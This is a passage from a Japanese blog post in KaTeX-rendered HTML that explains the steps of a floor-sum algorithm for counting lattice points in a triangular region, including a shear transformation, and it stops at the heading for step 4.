style="height:3em;"></span><span class="mord"><span class="mord mathnormal">A</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">A</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal">i</span><span class="mord"><span class="delimsizing size3">)</span></span></span></span></span> &#x3068;&#x306A;&#x308A;&#x3001;&#x3053;&#x308C;&#x306F;&#x7DCF;&#x548C;&#x516C;&#x5F0F;&#x3067;&#x4E00;&#x77AC;&#x3067;&#x6C42;&#x307E;&#x308B;&#x3002;&#x64CD;&#x4F5C;&#x3092;&#x7D42;&#x4E86;&#x3059;&#x308B;&#x3002;</li>
<li>&#x305D;&#x3046;&#x3067;&#x306A;&#x3044;&#x306A;&#x3089;&#x3001;&#x4E09;&#x89D2;&#x5F62;&#x9818;&#x57DF; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">(</span></span><span class="mopen">{(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mord">&#x2223;</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">}</span><span class="mord"><span class="delimsizing size1">)</span></span></span></span></span> &#x5185;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x3092;&#x6C42;&#x3081;(&#x30B9;&#x30C6;&#x30C3;&#x30D7;3&#x306E;&#x3088;&#x3046;&#x306B;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x7C21;&#x5358;&#x306B;&#x6C42;&#x307E;&#x308B;)&#x3001;&#x3053;&#x308C;&#x3092;&#x7B54;&#x3048;&#x306B;&#x52A0;&#x7B97;&#x3059;&#x308B;&#x3002;&#x305D;&#x306E;&#x3042;&#x3068;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x21A6;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x21A6;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span></span></span></span> &#x3068;&#x5909;&#x63DB;&#x3057;&#x3066;&#x5883;&#x754C;&#x7DDA; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> &#x3092;&#x305B;&#x3093;&#x65AD;&#x5909;&#x5F62;&#x3059;&#x308B;&#x3002;&#x305D;&#x306E;&#x3042;&#x3068;&#x3001;&#x9577;&#x65B9;&#x5F62;&#x9818;&#x57DF; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord" style="color:#df0030;">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mclose">)</span></span></span></span> &#x5185;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x6570;&#x3092;&#x639B;&#x3051;&#x7B97;&#x3067;&#x6C42;&#x3081;&#x3066;&#x7B54;&#x3048;&#x306B;&#x52A0;&#x7B97;&#x3059;&#x308B;&#x3002;&#x6700;&#x5F8C;&#x306B;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> &#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x8EF8;&#x6B63;&#x65B9;&#x5411;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="delimsizing size1">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mord"><span class="delimsizing size1">)</span></span></span></span></span> &#x3060;&#x3051;&#x5E73;&#x884C;&#x79FB;&#x52D5;&#x3059;&#x308B;&#x3002;<br>
&#x30B9;&#x30C6;&#x30C3;&#x30D7;4&#x5168;&#x4F53;&#x3068;&#x3057;&#x3066;&#x306F;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x306F;&#x305D;&#x308C;&#x305E;&#x308C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size1">(</span></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="mord">1</span><span class="mord"><span class="delimsizing size1">)</span></span></span></span></span> &#x306B;&#x7F6E;&#x304D;&#x63DB;&#x3048;&#x3089;&#x308C;&#x308B;&#x3053;&#x3068;&#x306B;&#x306A;&#x308B;&#x3002;</li>
</ol>
<p>&#x3053;&#x308C;&#x3060;&#x3051;&#x3060;&#x3068;&#x3088;&#x304F;&#x5206;&#x304B;&#x3089;&#x306A;&#x3044;&#x306E;&#x3067;&#x3001;&#x56F3;&#x3092;&#x51FA;&#x3057;&#x3066;&#x8AAC;&#x660E;&#x3057;&#x3066;&#x3044;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h5 id="1%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">1&#x306B;&#x3064;&#x3044;&#x3066;</h5>
<p>&#x3082;&#x3057;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x304C;&#x8CA0;&#x306E;&#x5834;&#x5408;&#x306F;&#x9818;&#x57DF;&#x304C;&#x5B58;&#x5728;&#x3057;&#x306A;&#x3044;&#x305F;&#x3081;&#x3001;&#x305D;&#x306E;&#x307E;&#x307E;&#x7D42;&#x4E86;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h5 id="2%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">2&#x306B;&#x3064;&#x3044;&#x3066;</h5>
<p>&#x3082;&#x3057;&#x3001;&#x4E09;&#x89D2;&#x5F62;&#x9818;&#x57DF;&#x304C;&#x7E26;&#x9577;&#x306E;&#x5834;&#x5408;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> &#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x3092;&#x5165;&#x308C;&#x66FF;&#x3048;&#x3066;&#x6A2A;&#x9577;&#x306B;&#x3057;&#x307E;&#x3059;&#x3002;&#x3053;&#x306E;&#x64CD;&#x4F5C;&#x306F;&#x3001;&#x76F4;&#x7DDA; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x306B;&#x95A2;&#x3057;&#x3066;&#x5BFE;&#x79F0;&#x79FB;&#x52D5;&#x3092;&#x884C;&#x3046;&#x3060;&#x3051;&#x306A;&#x306E;&#x3067;&#x3001;&#x9818;&#x57DF;&#x5185;&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x6570;&#x306F;&#x5909;&#x308F;&#x308A;&#x307E;&#x305B;&#x3093;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h5 id="3%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">3&#x306B;&#x3064;&#x3044;&#x3066;</h5>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> &#x306E;&#x500D;&#x6570;&#x306E;&#x3068;&#x304D;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x5EA7;&#x6A19;&#x3092;&#x56FA;&#x5B9A;&#x3057;&#x3066;&#x6570;&#x3048;&#x4E0A;&#x3052;&#x308B;&#x3068;&#x30B7;&#x30B0;&#x30DE;&#x306E;&#x4E2D;&#x8EAB;&#x306F;&#x7B49;&#x5DEE;&#x6570;&#x5217;&#x306B;&#x306A;&#x308B;&#x306E;&#x3067;&#x3001;&#x7DCF;&#x548C;&#x516C;&#x5F0F;&#x3067;&#x7C21;&#x5358;&#x306B;&#x6C42;&#x3081;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h5 id="4%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">4&#x306B;&#x3064;&#x3044;&#x3066;</h5>
<p>&#x3053;&#x308C;&#x304C;&#x4E00;&#x756A;&#x91CD;&#x8981;&#x3067;&#x3059;&#x3002;<br>
